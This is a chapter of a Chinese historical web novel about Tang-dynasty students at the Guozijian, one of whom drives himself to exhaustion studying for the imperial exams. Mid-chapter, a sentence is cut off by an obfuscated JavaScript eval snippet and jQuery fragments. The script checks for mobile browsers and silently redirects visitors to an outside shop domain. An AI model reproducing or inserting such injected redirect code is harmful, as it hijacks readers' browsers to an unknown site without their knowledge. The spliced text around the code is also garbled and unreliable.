天宝三载五月，长安城热得早。
立夏刚过，日头已经晒得人头皮发麻。国子监的槐树叶子都卷了边，不是秋天那种枯卷，是热得受不住的卷。甲字三号的窗户从辰时就得开着，不然屋里能闷出痱子。
怀瑾坐在窗边写字，给怀琰的信，问那封弹文的事。四月底写的信，现在已经五月了，怀琰还没回。怀瑾算了一下日子：信到户部要一天，怀琰查弹文要……不确定几天，回信再一天。但他已经等了十一天了。
"你哥还没回？"长风从床上探出半个头。他刚练完箭回来，头发湿的，是汗不是水。
"没回。"
"可能忙。"
"他在户部哪天不忙。"怀瑾把笔放下，"但十一天不回，不是忙，是难。弹文不好弄。"
长风想了想，没接话。他有时候不说话是因为不知道说什么，但这种沉默不会让人觉得不舒服。反而让人觉得"我在听"。
明远不在。
他从卯时就去典籍厅了。
---
明远开始在典籍厅"驻扎"这件事，是从四月中旬开始的。
陆家第二封信来的时候，是四月十六。信上只有三行字，陆敬渊的字，写得比以前密，像在省纸。"已定：外放衡州司马。即日离京。家中一切都搬去衡州。你在京中不必担心。"
明远看完信之后，把信纸折好放进了他那个小木盒里。
然后他做了一件事。
他去了国子监的典籍厅，不是平时查邸报的那个偏厅，是主厅。主厅藏了国子监所有的经义注疏、历年岁考真题、和一套完整的《唐六典》抄本。他要查的不是邸报，是科举制度。
"科举分常举和制举。"明远当天晚上在甲字三号说，他面前摊了三本书，每本都翻到了关键页，"常举每年一次，考明经、进士两科。明经科考帖经和口问经义，跟我们岁考差不多，但难三倍。进士科考诗赋和策论，也需要经义底子，但重点在文章。"
"你怎么查这个？"长风问。
"我要考，我总得知道考什么。"明远说得很平静。不是那种"我要拼命了"的亢奋，是那种"我在做一件事，请别打扰"的专注。
怀瑾在旁边看着，明远翻书的速度比以前快了一倍。不是急，是熟练。他查书的方法跟别人不一样：先看目录，找到相关章节，翻开，如果关键信息在第三段，他就只看第三段。跳过所有修饰性文字，直奔核心。
"你什么时候学的这种看书方法？"怀瑾忍不住问。
"从小就会。"明远没抬头。
怀瑾想了想，也对。明远是陆敬渊的儿子。陆敬渊当了十二年秘书监，秘书监管的就是全国的图书典籍。明远大概是在书堆里长大的。他看书的方式不是"读"，是"检索"，像一个人在庞大的书库里有自己的地图。
---
五月上旬，明远的"科举备战"正式开始了。
他给自己定的作息表是这样的：
卯时正（六点）：起。梳洗，吃早饭，早饭就是一块饼加一碗水，吃完就走。
卯时三刻到辰时（六点四十五到八点）：经义。先帖经（默写经文），再口问（自问自答）。明远把口问的题目写在纸条上，一张纸条一道题，怀瑾数过一次，有一百三十二张。每张纸条上写了题面和标准答案，标准答案的字极小，密得跟邸报一个风格。
辰时到未时（八点到下午两点）：上课。正常上课，但明远上课的时候也在读书。不是不听讲，是他在讲的内容旁边同时看注疏。柳博士讲《春秋》"郑伯克段于鄢"的时候，明远在课本的空白处写了三条来自《左传正义》的补充注疏，速度之快，连柳博士都没注意到他在"一心二用"。
申时（下午三点到五点）：策论。明远给自己定的策论练习量是每天一篇，题目从历年科举真题里抽。他写了不到十天，怀瑾就发现了一个问题：明远的策论越写越像他自己了。
不是"字迹像"，是"论调像"。以前的明远写策论是标准的"经典立场+注疏引用+中庸结论"，安全牌。现在的明远写策论会加一句"然则"，然后在"然则"后面写他自己的看法。
"你变了。"怀瑾有天晚上拿他的一篇策论看，题目是"论士人之节"。
"哪变了？"
"以前你不会写'然则士人之节不在自全而在自尽'这种东西。"
"那是以前的我不懂。"明远说，"以前我以为'节'是站在原地不动，不论风向怎么变，我不动就是有节。现在我明白了，不动不是节，是懒。节是动，是面对风向的时候，你选择往哪个方向走。"
怀瑾看了他一会儿。
"你爹的事让你想通了这个。"
"嗯。"
怀瑾坐在那里，看着明远。
明远已经低头继续写字了。他的字写得很慢，但每一笔都很稳。不像以前，以前明远写字也快，但那时候的快是"赶时间"，现在的慢是"不想浪费任何一个字"。
怀瑾忽然想到一件事：明远以前不是这样的。
去年的明远，会在课堂上偷偷画小人的（虽然画得很丑）。会在饭后跟长风比谁吃得快（长风永远第一）。会在睡前跟怀瑾讨论"如果朝廷要裁冗官，第一批裁谁"这种无聊问题。
现在的明远，不画小人了。不比吃饭快了。不讨论无聊问题了。
他变成了，一份作息表。
怀瑾心里有点发涩。
---
酉时（下午五点到七点）：算学。明远在准备明经科的同时还在补一门课，算学。不是国子监的算学课（那门课他早就修完了），是户部的算学。
"为什么要学户部的算学？"长风问。
"因为进士科策论经常出财税题。"明远说，"你不知道田赋怎么算、户口怎么统、转运怎么走，你的策论就是空谈。考官一眼就看出来了。"
"你从哪学的户部算学？"
"你去年跟我说你哥在户部，我就去找他要了几份旧账本。"明远说得很平淡，像在说"我昨天去了趟食堂"，"他给了三本，天宝元年的度支奏抄、天宝二年的转运使司账、和一份河西陇右军费开支估算。三本我都看完了。"
怀瑾张了一下嘴。
明远去找怀琰要户部账本，这件事明远和怀琰都一个字没跟他提。怀瑾想象了一下那个场面：明远一个十五岁的国子监学生，走进户部大门，找到怀琰，说"裴郎中，我想借几本旧账本看看"。怀琰大概看了他三息，然后给了。因为怀琰那种人，判断一个人值不值得帮只需要三息。
"我哥给你的时候说了什么？"怀瑾问。
"他说，'看完了来找我，我给你换三本。'"明远说。
怀瑾在心里默默记下了这句话。他哥认可明远。
---
戌时到亥时（晚上七点到十一点）：杂学。明远把律、令、格、式都列进了复习范围，《唐律疏议》精读，《开元令》通览，《格》和《式》看摘要。他用的是国子监典籍厅的抄本，每本书的空白处都密密麻麻写了他的批注，比正文还多。
子时（十一点）：睡。
这个作息表看起来只是"认真"，但怀瑾注意到一件事：明远瘦了。
不是瘦了一点点，是五月初到五月底，不到一个月，明远的颧骨从看不见变成了能看见。他不怎么吃午饭，早饭一块饼一碗水，午饭有时候忘了吃（是真的忘了，不是省），晚饭吃得也很少。怀瑾有次故意多带了一个炊饼回斋舍，放在明远桌上，说"我买多了你帮我吃"，明远吃了，但咬了三口就放下了，继续看书。炊饼凉了。怀瑾在旁边看着，没说什么，但他记住了炊饼凉掉的那个瞬间。
---
旬考在五月二十三。
这是天宝三载的第三次旬考，前两次明远都是甲等前三，但没拿过第一。这次不一样，他拿了甲等第一。
柳博士在课堂上念成绩的时候停顿了一下。
"甲等第一，明远。"
"甲等第三，谢知微。"
"甲等第四，国子学刘敬之。"
"乙等中，裴怀瑾。"
"丙等上，顾长风。"
长风听到自己名字的时候拍了一下桌子，不是因为丙等上（他丙等上已经习惯了），是因为他听到了"谢知微甲等第三"。
"你甲等了！"长风隔着两张桌子对知微喊。
"你喊什么。"知微的脸红了一点点，在脖子根的位置，不仔细看根本看不到。
"甲等第三啊！"
"我听见了。你坐下。"
怀瑾看着这两个人，知微的耳朵尖也红了。知微从来没有拿过甲等，去年岁考是乙等上，旬考一般也在乙等。今天他拿了甲等第三，整个人的反应是"假装不在意但其实很高兴"，知微式高兴：脸上不动，耳朵在动。
然后怀瑾转头看明远。
明远坐在那里，面前是一张满分考卷，经义全对，策论拿了柳博士的批语"可"。柳博的"可"相当于别的博士的"优"，柳博士这辈子大概没用过"优"这个字。他夸人的上限就是"可"，下限是"再读"。明远拿到"可"的时候，怀瑾以为他会有一点反应，至少嘴角动一下。
没有。
明远把考卷折好，放进抽屉里。动作跟把一块饼放进抽屉里没有任何区别。然后把下一轮的经义纸条掏出来，开始看。
怀瑾盯着他看了五息。明远翻了一页纸条。
"明远。"
"嗯。"
"你拿了甲等第一。"
"我知道。"
"你不高兴？"
"不是不高兴。"明远翻到下一张纸条，"是，没时间高兴。下个月有旬考，下下个月有岁考，明年有科举。现在高兴太早了。"
怀瑾没再说话。
但他心里有什么东西被碰了一下。是一种很微妙的不安。
---
之后的日子，怀瑾一直在想明远那个表情。
他跟长风提过一次，"明远是不是太拼了。"
长风正在擦弓弦，闻言抬头看了他一眼，"拼？他一直这样啊。你没见他四月中旬刚收到信那会儿，眼睛里的光，那不是拼，是烧。烧起来了就停不下来。"
"烧起来了会烧完的。"怀瑾说。
"那你说怎么办？"长风把弓弦放下，"你去劝他？你劝他他听吗？"
怀瑾想了想，没说话。长风说得对，明远这种人，别人劝没用。他得自己想通。
倒是知微，那天晚上做了一件小事。
他在明远的经义纸条堆旁边放了一杯水。不是新倒的，是已经凉透的，知微大概下午就倒好了，放在井边镇着，等到晚上明远回来，水刚好凉透。
明远拿起水杯喝了一口，皱了一下眉头，水太凉了。但他还是喝完了。
知微在旁边看到了，没说什么。第二天，那杯水变成了温的。
怀瑾看到这一幕，心里稍微安心了一点。
---
又过了几天，怀瑾在典籍厅找明远，发现他在看《唐六典》。
"你看这个干嘛？"怀瑾凑过去。
"科举考策论，经常考官制。《唐六典》是官制的根本。"明远头也没抬，"而且，我爹在秘书监的时候，我偷偷翻过这本书。那时候觉得枯燥，现在觉得，每一页都是在说'这个位置需要什么样的人'。"
怀瑾在他对面坐下来，"你在想你爹。"
"在想。"明远终于抬头看了他一眼，"我爹这辈子没求过人。但在秘书监十二年，他拒绝给李林甫提供清流名录，那是他第一次，也是最后一次'不合作'。结果是被贬。"
"你知道了？"
"猜的。"明远说，"第一封信太短了，只说了'已定外放'。但第二封信的字那么密，我爹写字一向省纸，字密说明他有很多话想说但说不出来。他不想让我担心，但又忍不住要让我知道，他不是因为'典籍散佚'被贬的。是因为他做了对的事。"
怀瑾沉默了一会儿。
"你想考科举，也是因为这个？"
"一部分。"明远把《唐六典》合上，"另一部分，是因为我得活下去。我爹被贬了，陆家在长安的根没了。我如果考不上，我就得回衡州，去给我爹当幕僚。那不是我想走的路。"
"你想走什么路？"
"我想走一条，让我爹抬头挺胸跟我娘说'我儿在京城做官了'的路。"明远说这话的时候，声音很轻，但每个字都很清楚。
怀瑾看着他，忽然觉得明远这句话比他写过的所有策论都有分量。
---
那天晚上，怀瑾在床上躺着，听见明远还在翻书。
翻书声很轻，但在夜里特别清楚。哗啦，哗啦，像有人在反复翻一张永远不会停的日历。
怀瑾翻了个身，面向墙壁。
他在想：如果明远考不上呢？如果明远拼了这么久，最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651765|205690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后还是考不上呢？
那明远会怎么样？
怀瑾不敢想。他闭上眼睛，强迫自己睡觉。但翻书声还在继续，哗啦，哗啦，
快到子时的时候，翻书声停了。
然后是极轻的呼吸声，明远睡着了。
怀瑾睁开眼睛，在黑暗里看着明远床铺的方向。什么都看不见，但他知道明远在那儿。
他忽然觉得，明远现在的样子，像一根绷到极限的弦。
弦绷得太紧，会断的。
---
五月中旬的一天傍晚，四个人难得都在斋舍里。
长风在擦他的弓，他把弓弦松了又紧，紧了又松，反复了七八遍。
"你弓弦快被你磨断了。"怀瑾坐在窗边翻经义课本，头也没抬地说。
"没断。"长风又紧了一次，"还能再紧十次。"
知微坐在自己床边，手里拿着一根新的弓弦，他自己的。他在检查弦的每一寸，看有没有磨损或者起毛。他的动作很慢，像在摸一件很珍贵的东西。
明远不在。
他又去典籍厅了。
"你说，"长风忽然停下了手里的动作，"明远是不是太拼了？"
怀瑾翻课本的手顿了一下。
"你觉得？"
"我觉得是。"长风说，"但我不知道该不该跟他说。"
"为什么不说？"怀瑾终于抬起头来看他。
"因为，"长风挠了挠头，"因为他说过'我要考科举'。他说这句话的时候眼睛里有光。那种光，你看了就知道，拦不住。"
知微在旁边插了一句："光会灭的。"
长风和怀瑾同时看向他。
"什么意思？"长风问。
"光会灭。"知微重复了一遍，语气还是那么平，"人不能一直烧。烧太久，要么把自己烧干了，要么把周围的东西点着了。明远现在就是一直在烧。"
怀瑾沉默了一会儿。
"那怎么办？"他问。
知微没有立刻回答。他把弓弦放下，抬头看了看窗外。夕阳的光从窗户照进来，在地上画了一道长长的影子。
"等。"知微说。
"等？"
"等他自己发现撑不住了。然后我们再接住他。"
"万一他撑不住了但我们没接到呢？"长风有点担心。
知微看了长风一眼，那个眼神很短，但长风懂了。
知微的意思是：不会漏接。四个人在，总有一个人能看到。
---
第二天卯时，怀瑾比平时早起了半个时辰。
他起来的时候长风还在打呼噜，呼噜声很有节奏，两短一长，像某种暗号。知微的床已经空了，被子叠得方方正正，跟军营里叠的一样。明远的床也是空的，但他叠被子的速度明显快了，有一个角又翘起来了。
怀瑾走到窗边，把窗户推开了一条缝。外面的天刚蒙蒙亮，空气里有股露水的味道，还有槐树花的香气。国子监的槐树五月开花，花开的时候整个监里都是甜的。
他站了一会儿，看着窗外那棵老槐树。树很大，树冠能遮住半个院子。怀瑾刚进国子监那年秋天，在树下捡过一颗槐花苞，拿回去夹在书里。后来书翻多了，那颗花苞不知道掉哪了。
"你在看什么？"
身后传来声音。是知微。他不知道什么时候起来的，站在门边，手里拿着弓弦。
"看树。"怀瑾说。
"树有什么好看的？"
"这棵树老了。"怀瑾说，"但它每年都开花。不管天旱天涝，不管有没有人给它浇水，它都开花。"
知微看了他一眼，没说话。
然后他说了一句："你是想说明远？"
怀瑾转过头来看他。
知微的表情还是那么平静，但眼神里有东西，那种"我知道你在想什么但我不会说出来"的东西。
"你什么时候变得这么会读了？"怀瑾笑了。
"跟你学的。"知微说，"你天天帮别人想，帮着帮着自己也学会想了。"
怀瑾愣了一下，然后笑得更开了。
"你说得对。"他说，"我是该自己想想了。"
知微点了点头，转身去洗漱了。
怀瑾站在窗边，看着知微的背影。知微这个人，平时不说话，一说话就准。而且他不废话，每句话都有用。
怀瑾忽然觉得，四个人里，最了解大家的可能不是他，是知微。
---
那天上午的课是柳博士讲《春秋》。
柳博士讲到"克"字的解释时，停顿了一下。"'克'，有人说是战胜，有人说是克制。你们觉得呢？"
教室里安静了几息。
然后明远举手了。
柳博士看了他一眼，点头："陆明远，你说。"
"'克'是克制。"明远站起来，声音不大但很清楚，"郑伯作为兄长，面对段的野心，他选择的不是直接镇压，是等待。等段自己露出破绽，再一举收服。这不是战胜，这是克制。是用耐心换结果。"
柳博士看着他，表情很复杂。不是惊讶，是一种"这孩子想得比我预期深"的表情。
"'克制'这个词，你从哪里看到的？"柳博士问。
"《左传正义》杜预注第三条。"明远说。
柳博士没说话。他在明远坐下之后，在名册上写了一笔。怀瑾坐在后面，看不清写了什么，但他看到柳博士写完之后合上了笔帽，那是"记下了，不用再讨论"的意思。
下课后，长风凑过来问："他刚才说的那个'杜预注第三条'是什么？"
"杜预是晋朝人，给《左传》做的注解。"怀瑾说，"明远把整本都看完了。"
"整本？"长风瞪大眼睛，《左传正义》很厚，比国子监的课本厚三倍不止。
"整本。"怀瑾说，"而且不只是看完，他还记得每一条注在第几页。"
长风张了张嘴，没说出话来。
知微在旁边说了一句："他不是看书。他是吃书。"
怀瑾和长风同时看向知微。
"吃书？"长风问。
"嗯。"知微说，"正常人看书是一页一页翻。明远是一本一本吃。吃完一本消化掉，再吃下一本。"
长风想了想，忽然笑了一声："那他现在肚子里装了多少本书了？"
"不知道。"怀瑾说，"但肯定比我们多得多。"